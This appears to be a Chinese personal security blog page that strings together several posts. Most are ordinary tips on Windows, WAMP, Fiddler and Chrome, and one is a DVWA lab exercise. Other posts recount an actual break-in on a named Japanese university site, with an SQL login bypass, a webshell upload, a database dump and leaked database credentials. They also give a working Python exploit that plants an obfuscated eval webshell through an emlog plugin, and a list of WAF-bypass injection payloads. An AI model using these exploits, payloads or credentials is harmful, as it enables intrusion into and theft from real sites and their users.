我的电脑-右键-管理-出现该文件没有与之关联的程序来执行该操作怎么办 技术文章
很不幸,我今天就遇到了这个问题,解决了 所以在此小计一下......
出现计算机右键菜单中的管理时弹出”该文件没有与之关联的程序来执行该操作。请安装一个程序,或者,如果已安装程序,请在默认程序“控制面板中创建关联。”错误对话框。这下可怎么办?
按下“Win+R”组合快捷键打开运行对话框,在运行对话框里输入regedit,然后点击确定.如此简单的不走就不截图了..
打开注册表界面,在根目录HKEY_LOCAL_MACHINE下找到command,详细路径为:HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\Manage\command。然后点击command,如下图所示。
双击command的默认值,打开默认值对话框,将里面的值换成:mmc.exe %windir%\system32\compmgmt.msc。
然后关闭对话框,返回桌面,此时再来操作:计算机-右键-菜单中的管理 就能打开了.
实在是不行......Mrxn再次小计,以备不时之需,也希望可以帮助到朋友们. 2015-06-10
日本大学入侵2 解决PostgreSQL连接问题得共立女子大学数据库 渗透测试
共立女子大学的网站是http://www.kyoritsu-wu.ac.jp先是摸索这个网站的结构,Apache+php+Redhat,只能看出这么多,静态页面应该是真的。至于数据库,不能确定是MySQL。刚开始也没想到是PostgreSQL,只不过一开始好像有个直觉。大体看了下页面,然后用谷歌site语句搜索了一下
site:www.kyoritsu-wu.ac.jp inurl:.php?复制代码就几个页面而已,看了下也没什么用途。不过443端口开放开始换衣后台在其他端口,例如443端口 https://www.kyoritsu-wu.ac.jp复制代码或者有什么二级域名什么的的。不过好像搜不到这个网站的二级域名。其实最意外的是,后台暴弱,为什么我就不具体说了,后台地址嘛过几天放出。我使用 admin'or'1'='1 'or'1'='1复制代码居然登陆了后台虽然看不懂后台文字,不过“上传”还是看得懂的,webshell毫无压力当然,这里不是正文。正文是,我找到了数据库配置文件,居然连不上数据库。因为发现了phpPGAdmin,但是用这个也连不上 http://www.kyoritsu-wu.ac.jp/pgadmin/admin/复制代码我就纳闷了,5432端口明明开放,为什么连接不上呢?可能是pgadmin没配置好?自己写个程序试试? $dbconn = pg_connect("host=localhost port=5432 dbname=cms_db user=postgres password=6ewgt39c") or die('悲剧'.pg_last_error); pg_query('set client_encoding=UTF8'); $query ='select datname from pg_database;'; $result= pg_query($query) or die( '又悲剧:'.pg_last_error); while ($result && $line = pg_fetch_array($result)) { echo $line['wbtitle'].""; } pg_free_result($result); pg_close($dbconn); ?>复制代码写了段脚本,如上访问,直接就悲剧了,根本连不上。再回去看看配置信息没错啊,于是问了下核心开发群里的Juliet,她说很其实解决起来很简单5432端口开放,PostgreSQL程序运行,配置正确,但是php无法连接的情况,只要把连接语句中的主机和端口去掉连接就可以了于是写了段PostgreSQL的数据库操作脚本。Bingo! 成功。剩下的就是脱数据了 :-)又一个负责人过几天要引咎辞职了 :-(总结一下:看本文标题就知道我不是在讲入侵手法了,本文主要为解决脱裤时遇到PostgreSQL无法连接的问题,也就是本文加粗的字体部分。
emlog相册插件getshell exploit 渗透测试
emlog相册插件可直接getshell 这是python的exp
#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf_8 -*-
# Date: 2015/4/30
# Created by:Mrxn
# 博客 https://mrxn.net/
import sys, os, re, time
try:
import requests
except ImportError:
raise SystemExit('\n[!] requests模块导入错误,请执行pip install requests安装!')
def usage():
# os.system(['clear', 'cls'][os.name == 'nt'])
print '+' + '-' * 60 + '+'
print '\t Python emlog相册插件getshell exploit'
print '\t Blog:https://mrxn.net/'
print '\t\t Code BY: Mrxn'
print '\t\t Time:2015-05-29'
print '+' + '-' * 60 + '+'
if len(sys.argv) != 2:
print '用法: ' + os.path.basename(sys.argv[0]) + ' EMLOG 网站地址'
print '实例: ' + os.path.basename(sys.argv[0]) + ' http://www.xxxxx.cn/'
sys.exit()
def getshell(url):
'''
emlog相册插件上传getshell函数
:param url: emlog url地址
:return: 返回得到的shell地址
'''
up_url = url + 'content/plugins/kl_album/kl_album_ajax_do.php'
shell = "<?php @preg_replace('\\'a\\'eis','e'.'v'.'a'.'l'.'($_POST[\"hstsec\"])','a');?>"
filename = "oneok'.php"
with open(filename, 'wb') as shellok:
shellok.write(shell)
files = {
'Filedata': (filename, open(filename, 'rb'), 'text/json'),
'album': (None, 'waitalone.cn')
}
try:
up_res = requests.post(up_url, files=files).content
shellok = re.findall(re.compile(r'(?<=\.\./).+?(?=\',)'), up_res)
except Exception, msg:
print '\n[x] 发生错误了,卧槽!!!:', msg
else:
if shellok: return url + shellok[0]
if __name__ == '__main__':
usage()
start = time.time()
url = sys.argv[1]
if url[-1] != '/': url += '/'
ok = getshell(url)
try:
os.remove('oneok\'.php')
except Exception:
print '\n[x] 删除临时文件失败,请手工删除!'
if ok:
print '\n[!] 爷,人品暴发了,成功得到Shell: \n%s 密码:%s' % (ok, 'hstsec')
else:
print '\n[x] 报告大爷,本站不存在此漏洞!'
print '\n报告爷,脚本执行完毕,用时:', time.time() - start, '秒!'
想知道修复方法么,如果你是技术屌,应该知道了,如果不是呢,回复吧 O(∩_∩)O哈哈~
如何在PHP应用中防止SQL注入 渗透测试
SQL注入是一个控制数据库查询的技术,往往会导致丧失机密性。在某些情况下,如果成功执行
SELECT '<?php eval(base64_decode("someBase64EncodedDataHere"));' INTO OUTFILE '/var/www/reverse_shell.php'
将导致服务器被攻击者拿下,而代码注入(包括SQL,LDAP,操作系统命令,XPath注入技术)长年保持在OWASP漏洞排名前十。
更多人分享有关于应用安全的知识是一件极好的事。然而不幸的是,网络上流传的大部分东西(尤其是老博客文章,高搜索引擎排名)都已经过时了。虽然是无意的误导,但是却造成了很大的威胁。
如何防止SQL注入
使用预处理语句,也被称为参数化查询。例如:
$stmt = $pdo->prepare('SELECT * FROM blog_posts WHERE YEAR(created) = ? AND MONTH(created) = ?');if (!$stmt->execute([$_GET['year'], $_GET['month']])) {
header("Location: /blog/"); exit;
}
$posts = $stmt->fetchAll(\PDO::FETCH_ASSOC);
在PHP应用中预处理语句过滤掉任何SQL注入的可能,无论是什么都需要先传递到$_GET变量。SQL查询语句是攻击者无法改变的(除非你将PDO::ATTR_EMULATE_PREPARES 开启了,这也意味着你还没有真正使用预处理语句)
预处理语句解决应用安全的根本问题:通过发送完全独立的包将操作指令与数据进行单独处理。这和导致堆栈溢出的问题有点类似了。
只要你没有用SQL语句连接user-provided变量和环境变量(并且保证你没有使用emulated prepares),那你就不必担心交叉SQL注入的问题了。
重要说明
预处理语句确保WEB应用与数据库服务之间的交互(即使两者不在同一台机器上,也会通过TLS进行连接)。攻击者还有可能在字段中存储一个payload,这是相当危险的,比如一个存储过程,我们称之为高阶SQL注入。
在这种情况下,我们建议不要编写存储过程,它会制造一个高阶SQL注入点。
关于输出过滤
应该有人看到过上面这张关于SQL注入攻击的漫画吧,在一些安全会议上甚至都经常被拿来引用,尤其是写给新人的文章中。这张漫画提醒了我们要提高对 数据库查询中危险用户输入的意识,但是漫画中的建议却是过滤掉数据库输入,通过对相关问题的理解,我们知道这仅仅是一个折衷的办法。
最好忘记过滤输入
虽然可以在数据发送到数据库之前重写传入的数据流来防止攻击者的攻击,但是这个过程比较难以把控。
除非你想花时间去研究,达到完全掌握所有Unicode格式应用程序,你最好不要尝试过滤你的输入。
此外,改变你的输入数据流可能造成数据损坏。特别是在你正在处理原始二进制文件(图片,加密信息)的时候。
预处理语句能简单粗暴的防止SQL注入
XKCD作者Randall Munroe是个聪明人。如果这幅漫画直到今天才被创作出来,大概会是这个样子的
输入仍应进行验证
数据验证与过滤完全不是一回事,预处理语句可以防止SQL注入,然而并不能让你摆脱那些糟糕的数据。大多数情况下,会使用filter_var()
$email = filter_var($_POST['email'], FILTER_VALIDATE_EMAIL);
if (empty($email)) {
throw new \InvalidArgumentException('Invalid email address');
}
列和表标识符
当列和表标识符作为查询语句中的一部分,你不能使用参数表示它们。如果你正在开发的这个应用需要一个动态查询结构,请使用白名单。
白名单是一个应用程序逻辑策略,它只允许少数可信的值。相对来说黑名单,仅仅是禁止已知的恶意输入。
大多数情况下,使用白名单比黑名单更安全!
$qs = 'SELECT * FROM photos WHERE album = ?';
// Use switch-case for an explicit whitelist
switch ($_POST['orderby']) {
case 'name':
case 'exifdate':
case 'uploaded':
// These strings are trusted and expected
$qs .= ' ORDER BY '.$_POST['orderby'];
if (!empty($_POST['asc'])) {
$qs .= ' ASC';
} else {
$qs .= ' DESC';
}
default:
// Some other value was passed. Let's just order by photo ID in descending order.
$qs .= ' ORDER BY photoid DESC';
}$stmt = $db->prepare($qs)
;if ($stmt->execute([$_POST['album_id']])) {
$photos = $stmt->fetchAll(\PDO::FETCH_ASSOC);
}
使用预处理语句看起来很麻烦?
开发者第一次遇到预处理语句,对于需要写大量的冗余代码而感到沮丧(提取,执行,取回;提取,执行,取回;….令人厌烦)
由此,EasyDB[https://github.com/paragonie/easydb]诞生了。
如何使用EasyDB
这里有两种方法。
-
你可以使用EasyDB包含你的PDO
-
如果你熟悉PDO构造,你可以使用ParagonIE\EasyDB\Factory::create()参数来进行替代
// First method:
$pdo = new \PDO('mysql;host=localhost;dbname=something', 'username', 'putastrongpasswordhere');
$db = \ParagonIE\EasyDB\EasyDB($pdo, 'mysql');
// Second method:
$db = \ParagonIE\EasyDB\Factory::create('mysql;host=localhost;dbname=something', 'username', 'putastrongpasswordhere');
如果有一个EasyDB对象,你可以开始利用它的快速开发安全数据库应用程序。
预处理语句:安全数据库查询
$data = $db->safeQuery(
'SELECT * FROM transactions WHERE type = ? AND amount >= ? AND date >= ?',
[
$_POST['ttype'],
$_POST['minimum'],
$_POST['since']
]
);
从一个数据库表中选择多行
$rows = $db->run(
'SELECT * FROM comments WHERE blogpostid = ? ORDER BY created ASC',
$_GET['blogpostid']
);
foreach ($rows as $row) {
$template_engine->render('comment', $row);
}
从数据库表中选择一行
$userData = $db->row(
"SELECT * FROM users WHERE userid = ?",
$_GET['userid']
);
向数据库表中插入新的一行
$db->insert('comments', [
'blogpostid' => $_POST['blogpost'],
'userid' => $_SESSION['user'],
'comment' => $_POST['body'],
'parent' => isset($_POST['replyTo']) ? $_POST['replyTo'] : null
]);
动态查询中躲避标识符(列/表/视图名)
$qs = 'SELECT * FROM some_table';
$and = false;
if (!empty($where)) {
$qs .= ' WHERE ';
foreach (\array_keys($where) as $column) {
if (!\in_array($column, $whiteListOfColumnNames)) {
continue;
}
if ($and) {
$qs .= ' AND ';
}
$qs .= $db->escapeIdentifier($column).' = ?';
$and = true;
}
}$qs .= ' ORDER BY rowid DESC';
// And then to fetch some data
$data = $db->run($qs, \array_values($where);
警告:escapeIdentifier() 方法意味着输入不应该被转义。
安全从开发人员开始!
如何绕过WAF?Mrxn总结如下一些技巧 渗透测试
WAF介绍
什么是WAF?
WAF--俗称“Dog” --WEB_Dog ----Web应用防火墙。
Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。
基本/简单绕过方法:
1、注释符
http://www.site.com/index.php?page_id=-15 /!UNION/ /!SELECT/ 1,2,3,4….
2、使用大小写
http://www.site.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4….
3、结合前面两种方法
http://www.site.com/index.php?page_id=-15 /!uNIOn/ /!SelECt/ 1,2,3,4….
4、关键字替换
http://www.site.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….
此方法适用于一些会把union select替换掉的WAF,经过WAF过滤后就会变成 union select 1,2,3,4....
5、内部注释
http://www.site.com/index.php?page_id=-15 %55nION//%53ElecT 1,2,3,4…
U替换为%55,S替换为%53 在 union 和 select 之间添加注释//
高级绕过方法:
1、缓冲区溢出/使防火墙崩溃
大部分防火墙都是基于C/C++开发的,我们可以使用缓冲区溢出使用WAF崩溃
http://www.site.com /index.php?page_id=-15+and+(select1)=(Select 0xAA[..(add about 1000 "A")..])+/!uNIOn/+/!SeLECt/+1,2,3,4….
你可以使用如下方法测试WAF
?page_id=null%0A///!50000%55nIOn//yoyu/all//%0A/!%53eLEct/%0A/nnaa/+1,2,3,4….
如果返回500错误,你就可以使用缓冲区溢出的方法来绕过WAF
2、对字母进行编码
http://www.site.com/index.php?page_id=-15 /!u%6eion/ /!se%6cect/ 1,2,3,4….
3、使用其他变量或者命令对注入语句进行替换
COMMAND | WHAT TO USE INSTEAD
@@version | version()
concat() | concat_ws()
group_concat() | concat_ws()
4、利用WAF本身的功能绕过
假如你发现WAF会把""替换为空,那么你就可以利用这一特性来进行绕过
????????http://www.site.com/index.php?page_id=-15+union+select+1,2,3,4....
其它方法:-15+(uNioN)+(sElECt)….-15+(uNioN+SeleCT)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (select 1,2,3,4…)?
研究过国内外的waf。分享一些 奇淫绝技。
一些大家都了解的技巧如:/!/,SELECT[0x09,0x0A-0x0D,0x20,0xA0]xx FROM 不再重造轮子。
Mysql
tips1: 神奇的 (格式输出表的那个控制符)<br /> 过空格和一些正则。<br /> <br /> mysql> select
version() <br /> -> ; <br /> +----------------------+ <br /> |
version() | <br /> +----------------------+ <br /> | 5.1.50-community-log | <br /> +----------------------+ <br /> 1 row in set (0.00 sec)<br /> 一个更好玩的技巧,这个
控制符可以当注释符用(限定条件)。
mysql> select id from qs_admins where id=1;dfff and comment it; <br /> +----+ <br /> | id | <br /> +----+ <br /> | 1 | <br /> +----+ <br /> 1 row in set (0.00 sec)<br /> usage : where id ='0'
'xxxxcomment on.
tips2:神奇的- + .
mysql> select id from qs_admins;
+----+
| id |
+----+
| 1 |
+----+
1 row in set (0.00 sec)
mysql> select+id-1+1.from qs_admins;
+----------+
| +id-1+1. |
+----------+
| 1 |
+----------+
1 row in set (0.00 sec)
mysql> select-id-1+3.from qs_admins;
+----------+
| -id-1+3. |
+----------+
| 1 |
+----------+
1 row in set (0.00 sec)
(有些人不是一直在说关键字怎么过?过滤一个from ... 就是这样连起来过)
tips3: @
mysql> select@^1.from qs_admins;
+------|+
| @^1. |
+------|+
| NULL |
+------|+
这个是bypass 曾经dedeCMS filter .
或者这样也是ok.
tips4:mysql function() as xxx 也可以不用as 和空格
mysql> select-count(id)test from qs_admins;
+------|+
| test |
+------|+
| -1 |
+------|+
1 row in set (0.00 sec)
tips5:/![>5000]/ 新构造 版本号(这个可能有些过时了。)
mysql> /*!40000select\/ id from qs_admins;
+----+
| id |
+----+
| 1 |
+----+
1 row in set (0.00 sec)
------End-----如果你有什么更好的奇淫技巧,记得告诉我----O(∩_∩)O哈哈~
在Firefox浏览器下使用Fiddler抓包小计 技术文章
由于工作需要,今天在Firefox浏览器下使用Fiddler抓包,但是抓了好久都没有数据。。。。。因为我大多数情况下都是使用chrome浏览器,fiddler能够很好的支持,一开始以为不支持火狐,可是很快否定了自己,因为fiddler没理由放弃火狐这个这么多用户的群体啊,于是回头从fiddler上下手找原因,终于在Fiddler的-Tools->Fiddler Option 里发现了:
fiddler监听端口是:8888 并且act as system proxy on startup ---作为系统代理 。。。偶也!当时好激动,可以解决问题了:打开火狐设置-高级-网络-设置-使用系统代理设置。完美解决!
再次小计,勿喷,希望可以帮助到那些和我同样遇到这个问题的朋友。
修改wamp中的MySQL默认密码 技术文章
WAMP安装好后,mysql密码是为空的,一开始我没注意,刚刚安装一个程序,提示需要数据库密码,我这没有密码啊,就不能进行下一步了,于是Google搜索之。再次小计一下,以备不时之需,同时也希望能够帮助到不知道的朋友。
那么要如何修改呢?其实很简单,通过几条指令就行了,下面我就一步步来操作。
首先,通过WAMP打开mysql控制台。
提示输入密码,因为现在是空,所以直接按回车。
然后输入“use mysql”,意思是使用mysql这个数据库,提示“Database changed”就行。
然后输入要修改的密码的sql语句“update user set password=PASSWORD('root') where user='root';”,注意,sql语句结尾的分号不能少,提示什么什么OK就行了。
最后输入“flush privileges;”,不输入这个的话,修改密码的操作不会生效的。
然后输入“quit”退出。
另外,很多人说通过phpmyadmin直接修改mysql表里的密码就行,原理上应该是没错,但是我发现修改后mysql整个库都不见了,害的我重装了WAMP,最终还是通过命令行去修改的。
修改了密码后,记得修改phpmyadmin的配置文件的密码为root(你修改的密码): 你的盘符\apps\phpmyadmin4.1.14\config.inc.php 不然你会打不开phpmyadmin的!
十大渗透测试系统之---DVWA1.0.8练习笔记(一) 渗透测试
测试环境:
操作系统: Windows 8.1
运行时: .Net Framework 4.5
PHP+MySQL+Apache 集成测试环境: wamp_serverx64
首先,从 http://www.dvwa.co.uk/ 下载 DVWA1.0.8,并将文件释放到 F:\Web\DVWA-1.0.8 (因为我的wamp自己设置的默认目录是 F:\Web,至于方法,请移步:自定义wamp_server的网站根目录)
修改配置文件 config\config.inc.php , 设置数据库连接账号及默认的安全级别:
$_DVWA[ 'db_server' ] = 'localhost';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ] = 'root';
$_DVWA[ 'db_password' ] = root;
$_DVWA['default_security_level'] = "low";
然后,访问 http://localhost/DVWA-1.0.8/login.php
第一关,就是考虑如何登录进去。
这里,我们计划采取挂字典进行暴力登录尝试,这类工具称之为 Bruter,下面以 WebCruiser
Web Vulnerability Scanner V3.5.3 (http://sec4app.com )为例,我博客已发布最新破解版。
首先,随便输入一个错误的用户名和密码,这里输入 admin 和 admin :
提交后, 切换到 Resend(重放)界面:
最新的请求在最上面,点击它,可以在右边看到详细信息。点击“ Bruter”按钮:
软件自动切换到 Bruter 界面,并且自动发现 username 和 password 字段(如果使用了特殊的参数名,则手工从下拉列表中选中它)。 Bruter 提供了两种字典方式,一种是用户名和密码使用不同的字典(需要自己去选择字典的位置),另一种是使用网络已泄漏的(用户名 :密码)组合。点击”Go”按钮, 启动猜解:
可以看到,可以登录的用户名和密码已经猜解出来了,为 admin/password 。切换到 WebBrowser 界面,输入猜解出来的用户名和密码,即可登录成功。
登录之后,切换到 DVWA Security 设置页,检查一下安全级别是否为低( low),如果不是,修改为 low,这样 DVWA 系统就是含有漏洞的版本了。开始 DVWA 登录后的测试工作了:
登录之后,里面还有一个 Brute Force 的测试项,继续采用刚才的方式,随便输入用户名和密码提交,并在 Resend 界面找到该请求,并且继续做刚刚登陆的时候一样的步骤,结果如下:
由图可知.这个测试项也使用了 admin/password 这组账号。
太晚了,今天就到这里吧,明天继续后面的几个操作演示,欢迎转载,转载请注明:Mrxn's Blog https://mrxn.net
修改WampServer的默认浏览器小计--mrxn's Blog 技术文章
博主一直使用的是火狐浏览器作为WampServer的默认浏览器,但是这几天出问题了,不想用了,又捡起了丢了很久的Google浏览器,问题就出来了,每次写完东西打开就是火狐浏览器......很是恼火啊!
下面是我修改WampServer的默认浏览器的方法,再次小计,各位勿喷!谢谢.也希望能够帮到需要的朋友.
找到wampserver的安装目录,右键以sublime text 打开wampmanager.conf 和 wampmanager.ini,Ctrl+F 搜索 Firefox,出现如图结果:
代码高亮的部分即为Firefox,也就是我们wampserver的默认浏览器路径了,
鼠标选中路径 然后 Ctrl + H 直接替换全部 路径为自己想要设置的浏览器路径就ok .
到此问题解决.重新启动sublime,打开localhost就是你设置好的浏览器了-_- 收工!
下载谷歌浏览器(Chrome)扩展离线安装包crx文件的简单方法 技术文章
因为天朝屏蔽Google,所以在博主安装Google扩展的时候总是失败,于是查资料 (想要翻墙,请在本博客搜索"查资料")在Google里找到了如下方法:
如果不会使用,请看下面的操作步骤
引言(可以不看):
下面介绍一下,下载谷歌浏览器(Google Chrome)扩展的离线安装包crx文件最简单的方法!真的是再简单不过了!
谷歌浏览器(Google Chrome)的扩展功能让谷歌浏览器变的无比强大,需要特殊功能的时候去Chrome Web Store找一下,基本都可以找到合适的扩展。但是随着Chrome浏览器使用的时间越来越长,积累下来的扩展也越来越多,备份这些扩展就成了一个新的问题。
比如出于由于某些众所周知的原因,在给MM(或朋友、爸妈等)装机的时候可能上不去扩展安装页面。有时候一个一个安装、同步又显得比较耗时。当然还有很多其他的原因。
那么我们如果提前将扩展下载好放在U盘里,那样就可以在需要的时候安全快捷的安装上。
在Chrome Web Store里面点击安装以后,扩展默认是下载完毕后立即删除,不给你时间保存安装包,要保存扩展就成了一个难题,以下提供一个保存扩展的简便方法!
操作步骤:
1.打开扩展介绍页面 (在 三道杠图标>工具>扩展程序 里相应扩展的"访问网站"处也可以获得)
比如:"https://chrome.google.com/webstore/detail/gighmmpiobklfepjocnamgkkbiglidom"
2.复制扩展ID(扩展地址里面的那个32位的字符串,比如第一步地址里面↑红颜色↑的那部分)
3.进入 mrxn.net/code/crx/index.php 粘贴扩展ID,点击生成按钮。
4.右键另存为下面那行暗红色连接即可(不要直接点击,防止谷歌浏览器直接安装)。
怎么样,很简单吧?
附上安装离线.crx扩展包的方法:
等到以后重装系统或者其他原因,需要重新安装扩展时,在谷歌浏览器中打开扩展管理页面,然后直接把那个后缀是.crx的扩展安装包拖拽到扩展管理页面里就可以了。